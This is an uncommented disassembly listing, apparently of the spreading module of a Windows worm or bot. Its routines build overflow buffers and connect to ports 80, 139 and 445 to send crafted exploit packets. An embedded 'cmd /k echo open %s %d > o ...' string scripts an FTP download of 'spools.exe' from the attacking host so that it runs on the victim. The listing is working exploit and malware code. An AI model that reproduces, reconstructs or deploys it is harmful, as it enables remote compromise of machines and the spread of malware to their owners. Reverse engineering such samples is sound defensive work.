		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40C92A
		pop	esi
		retn	4
sub_40C95E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C97B	proc near		; CODE XREF: sub_40C9C7+Bp
					; sub_40C9E6+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40C92A
		retn	8
sub_40C97B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C98B	proc near		; CODE XREF: sub_40C9C7+16p
					; sub_40C9E6+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C824
		test	al, al
		jz	short loc_40C9C4
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C2A0
		call	sub_40C7B6
		mov	ecx, esi
		call	sub_40C80B
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40C9C4:				; CODE XREF: sub_40C98B+Fj
		pop	esi
		leave
		retn
sub_40C98B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C9C7	proc near		; CODE XREF: sub_40C9E6+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40C97B
		test	al, al
		jz	short loc_40C9E2
		mov	ecx, esi
		call	sub_40C98B


loc_40C9E2:				; CODE XREF: sub_40C9C7+12j
		pop	esi
		retn	8
sub_40C9C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9E6	proc near		; CODE XREF: .nsp0:0040D26Dp

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C772
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CD3A
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CD3A
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C772
		lea	ecx, [ebp+var_20]
		call	sub_40C772
		lea	ecx, [ebp+var_50]
		call	sub_40C772
		lea	ecx, [ebp+var_18]
		call	sub_40C772
		lea	ecx, [ebp+var_40]
		call	sub_40C772
		lea	ecx, [ebp+var_38]
		call	sub_40C772
		lea	ecx, [ebp+var_28]
		call	sub_40C772
		push	4
		push	offset dword_4389C0
		lea	ecx, [ebp+var_30]
		call	sub_40C92A
		push	3
		push	offset dword_4389C8
		lea	ecx, [ebp+var_30]
		call	sub_40C92A
		lea	ecx, [ebp+var_30]
		call	sub_40C8B0
		lea	ecx, [ebp+var_30]
		call	sub_40C98B
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40C92A
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40C92A
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40C92A
		lea	ecx, [ebp+var_20]
		call	sub_40C8B0
		push	offset loc_438D40
		lea	ecx, [ebp+var_50]
		call	sub_40C95E
		lea	ecx, [ebp+var_50]
		call	sub_40C8B0
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C77C
		lea	ecx, [ebp+var_58]
		call	sub_40C8B0
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40C9C7
		lea	ecx, [ebp+var_58]
		call	sub_40C80B
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40C95E
		push	4
		push	offset dword_4389CC
		lea	ecx, [ebp+var_18]
		call	sub_40C92A
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40C92A
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40C92A
		lea	ecx, [ebp+var_18]
		call	sub_40C8B0
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40C97B
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40C97B
		lea	ecx, [ebp+var_40]
		call	sub_40C98B
		lea	ecx, [ebp+var_18]
		call	sub_40C80B
		lea	ecx, [ebp+var_50]
		call	sub_40C80B
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40C97B
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40C97B
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40C97B
		lea	ecx, [ebp+var_38]
		call	sub_40C98B
		lea	ecx, [ebp+var_20]
		call	sub_40C80B
		lea	ecx, [ebp+var_30]
		call	sub_40C80B
		lea	ecx, [ebp+var_40]
		call	sub_40C80B
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40C92A
		lea	ecx, [ebp+var_28]
		call	sub_40C8B0
		push	2
		push	offset dword_438D34
		lea	ecx, [ebp+var_28]
		call	sub_40C92A
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40C97B
		lea	ecx, [ebp+var_28]
		call	sub_40C98B
		lea	ecx, [ebp+var_38]
		call	sub_40C80B
		lea	ecx, [ebp+var_10]
		call	sub_40C772
		lea	ecx, [ebp+var_8]
		call	sub_40C772
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40C97B
		lea	ecx, [ebp+var_10]
		call	sub_40C824
		lea	ecx, [ebp+var_28]
		call	sub_40C80B
		push	offset dword_438D30
		lea	ecx, [ebp+var_8]
		call	sub_40C95E
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40C97B
		lea	ecx, [ebp+var_8]
		call	sub_40C824
		lea	ecx, [ebp+var_10]
		call	sub_40C80B
		push	offset a0_0	; "0"
		lea	ecx, [ebp+var_10]
		call	sub_40C95E
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40C97B
		lea	ecx, [ebp+var_10]
		call	sub_40C824
		lea	ecx, [ebp+var_8]
		call	sub_40C80B
		push	offset dword_438D24
		lea	ecx, [ebp+var_8]
		call	sub_40C95E
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40C97B
		lea	ecx, [ebp+var_8]
		call	sub_40C824
		lea	ecx, [ebp+var_10]
		call	sub_40C80B
		push	(offset	loc_438D1F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40C95E
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40C97B
		lea	ecx, [ebp+var_8]
		call	sub_40C80B
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CD48
; ---------------------------------------------------------------------------


loc_40CD3A:				; CODE XREF: sub_40C9E6+1Bj
					; sub_40C9E6+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CD48:				; CODE XREF: sub_40C9E6+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40C9E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD4C	proc near		; CODE XREF: sub_40CE10+A1p
					; sub_40CE10+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_427224	; select
		cmp	eax, edi
		jnz	short loc_40CDB3
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_4265E8	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40CDB7


loc_40CDB3:				; CODE XREF: sub_40CD4C+54j
		xor	eax, eax
		jmp	short loc_40CDC7
; ---------------------------------------------------------------------------


loc_40CDB7:				; CODE XREF: sub_40CD4C+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4D1208	; recv


loc_40CDC7:				; CODE XREF: sub_40CD4C+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CD4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CDCB	proc near		; CODE XREF: sub_40CE10+81p
					; sub_40CE10+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4D11EC	; ntohl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4D1240	; send
		cmp	eax, 4
		jz	short loc_40CDF5
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CDF5:				; CODE XREF: sub_40CDCB+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4D1240	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CDCB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE10	proc near		; CODE XREF: sub_40CEEA+48p
					; .nsp0:0040D368p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CE39
		xor	al, al
		jmp	loc_40CEE5
; ---------------------------------------------------------------------------


loc_40CE39:				; CODE XREF: sub_40CE10+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BC40
		push	2Fh
		push	offset dword_438A5C
		push	esi
		call	near ptr sub_41C9B0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_438A8C
		push	eax
		mov	[esi+2Fh], di
		call	near ptr sub_41C9B0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	near ptr sub_41C9B0
		push	6
		add	ebx, edi
		push	offset dword_4D3F0C
		push	ebx
		call	near ptr sub_41C9B0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_4389D4
		push	ebx
		call	sub_40CDCB
		add	esp, 48h
		test	al, al
		jnz	short loc_40CEA1


loc_40CE9D:				; CODE XREF: sub_40CE10+B5j
		xor	bl, bl
		jmp	short loc_40CEDC
; ---------------------------------------------------------------------------


loc_40CEA1:				; CODE XREF: sub_40CE10+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CD4C
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CDCB
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CE9D
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CD4C
		add	esp, 10h
		mov	bl, 1


loc_40CEDC:				; CODE XREF: sub_40CE10+8Fj
		push	esi
		call	sub_41B961
		pop	ecx
		mov	al, bl


loc_40CEE5:				; CODE XREF: sub_40CE10+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CE10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEEA	proc near		; CODE XREF: .nsp0:0040D34Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_438A98
		push	[ebp+arg_0]
		call	dword_427220	; send
		cmp	eax, 48h
		jnz	short loc_40CF25
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CD4C
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CF25
		cmp	[ebp+var_20], 82h
		jz	short loc_40CF29


loc_40CF25:				; CODE XREF: sub_40CEEA+1Bj
					; sub_40CEEA+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CF29:				; CODE XREF: sub_40CEEA+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CE10
		add	esp, 0Ch
		leave
		retn
sub_40CEEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF3C	proc near		; CODE XREF: sub_40CF88+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41CE38
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41CD19
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41CE38
		inc	eax
		leave
		retn
sub_40CF3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CF88	proc near		; CODE XREF: sub_40D12A+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426C8B
		call	sub_41D304
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D5C9
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40CF3C
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40CFCA
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D544


loc_40CFCA:				; CODE XREF: sub_40CF88+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D0E7
		mov	ebx, [ebp+10h]


loc_40CFD9:				; CODE XREF: sub_40CF88+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40CFE3
		push	3
		jmp	short loc_40CFF5
; ---------------------------------------------------------------------------


loc_40CFE3:				; CODE XREF: sub_40CF88+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40CFED
		push	2
		jmp	short loc_40CFF5
; ---------------------------------------------------------------------------


loc_40CFED:				; CODE XREF: sub_40CF88+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40CFF6
		push	1


loc_40CFF5:				; CODE XREF: sub_40CF88+59j
					; sub_40CF88+63j
		pop	ebx


loc_40CFF6:				; CODE XREF: sub_40CF88+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41CE5F
		pop	ecx
		pop	ecx
		call	sub_41CE38
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D035
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D035:				; CODE XREF: sub_40CF88+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D0A3
		add	[ebp-18h], eax


loc_40D087:				; CODE XREF: sub_40CF88+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_438AE4[eax]
		push	eax
		push	1
		call	sub_40D3C6
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D087


loc_40D0A3:				; CODE XREF: sub_40CF88+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D0C1
		push	dword ptr [ebp+14h]
		call	sub_41B890
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D41F
		mov	[ebp-18h], edi


loc_40D0C1:				; CODE XREF: sub_40CF88+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D0DB
		sub	esi, [ebp-1Ch]


loc_40D0CC:				; CODE XREF: sub_40CF88+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D3C6
		dec	esi
		jnz	short loc_40D0CC


loc_40D0DB:				; CODE XREF: sub_40CF88+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40CFD9
		push	1
		pop	ebx


loc_40D0E7:				; CODE XREF: sub_40CF88+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D5C9
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D476
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D5C9
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40CF88	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D12A	proc near		; CODE XREF: .nsp0:0040D331p
		mov	eax, offset loc_426CA8
		call	sub_41D304
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_443398
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40CF88
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BBCB
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D174
		xor	bl, bl
		jmp	short loc_40D1B8
; ---------------------------------------------------------------------------


loc_40D174:				; CODE XREF: sub_40D12A+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D182
		mov	ecx, eax


loc_40D182:				; CODE XREF: sub_40D12A+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D18A
		mov	eax, [ebp+18h]


loc_40D18A:				; CODE XREF: sub_40D12A+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C030
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4D1240	; send
		cmp	eax, esi
		jz	short loc_40D1AF
		xor	bl, bl
		jmp	short loc_40D1B1
; ---------------------------------------------------------------------------


loc_40D1AF:				; CODE XREF: sub_40D12A+7Fj
		mov	bl, 1


loc_40D1B1:				; CODE XREF: sub_40D12A+83j
		push	edi
		call	sub_41B961
		pop	ecx


loc_40D1B8:				; CODE XREF: sub_40D12A+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D5C9
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D5C9
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D12A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_438C90
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		mov	eax, offset aSpools_exe	; "spools.exe"
		push	eax
		push	eax
		movzx	eax, word ptr dword_4D0F20
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AB6A
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_41C030
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_438B28
		push	eax
		call	sub_40C9E6
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_40D28D
		xor	eax, eax
		jmp	loc_40D3B9
; ---------------------------------------------------------------------------


loc_40D28D:				; CODE XREF: .nsp0:0040D284j
		mov	[ebp-0Ch], esi


loc_40D290:				; CODE XREF: .nsp0:0040D390j
		test	esi, esi
		jnz	loc_40D396
		push	6
		push	1
		push	2
		call	dword_42721C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D37E
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4D11F0	; ntohs
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4D1230	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4D1198	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D373
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D33B
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D5C9
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D605
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D12A
		add	esp, 1Ch
		jmp	short loc_40D370
; ---------------------------------------------------------------------------


loc_40D33B:				; CODE XREF: .nsp0:0040D2F9j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D355
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CEEA
		jmp	short loc_40D36D
; ---------------------------------------------------------------------------


loc_40D355:				; CODE XREF: .nsp0:0040D345j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D373
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CE10


loc_40D36D:				; CODE XREF: .nsp0:0040D353j
		add	esp, 0Ch


loc_40D370:				; CODE XREF: .nsp0:0040D339j
		movzx	esi, al


loc_40D373:				; CODE XREF: .nsp0:0040D2ECj
					; .nsp0:0040D35Fj
		push	ebx
		call	dword_4D1288	; closesocket
		test	esi, esi
		jnz	short loc_40D389


loc_40D37E:				; CODE XREF: .nsp0:0040D2A9j
		push	3E8h
		call	dword_427064	; Sleep


loc_40D389:				; CODE XREF: .nsp0:0040D37Cj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D290


loc_40D396:				; CODE XREF: .nsp0:0040D292j
		lea	ecx, [ebp-8]
		call	sub_40C80B
		test	esi, esi
		jz	short loc_40D3B7
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_438050[eax]
		lea	eax, dword_438050[eax]


loc_40D3B7:				; CODE XREF: .nsp0:0040D3A0j
		mov	eax, esi


loc_40D3B9:				; CODE XREF: .nsp0:0040D288j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D3BE:				; CODE XREF: .nsp0:00426C6Fj
					; .nsp0:00426C85j ...
		push	1
		call	sub_40D5C9
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40D3C6	proc near		; CODE XREF: sub_40CF88+110p
					; sub_40CF88+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D3E0
		call	sub_426290


loc_40D3E0:				; CODE XREF: sub_40D3C6+13j
		test	ebx, ebx
		jbe	short loc_40D417
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D544
		test	al, al
		jz	short loc_40D417
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BC40
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D417:				; CODE XREF: sub_40D3C6+1Cj
					; sub_40D3C6+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D3C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D41F	proc near		; CODE XREF: sub_40CF88+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D439
		call	sub_426290


loc_40D439:				; CODE XREF: sub_40D41F+13j
		test	ebx, ebx
		jbe	short loc_40D46E
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D544
		test	al, al
		jz	short loc_40D46E
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
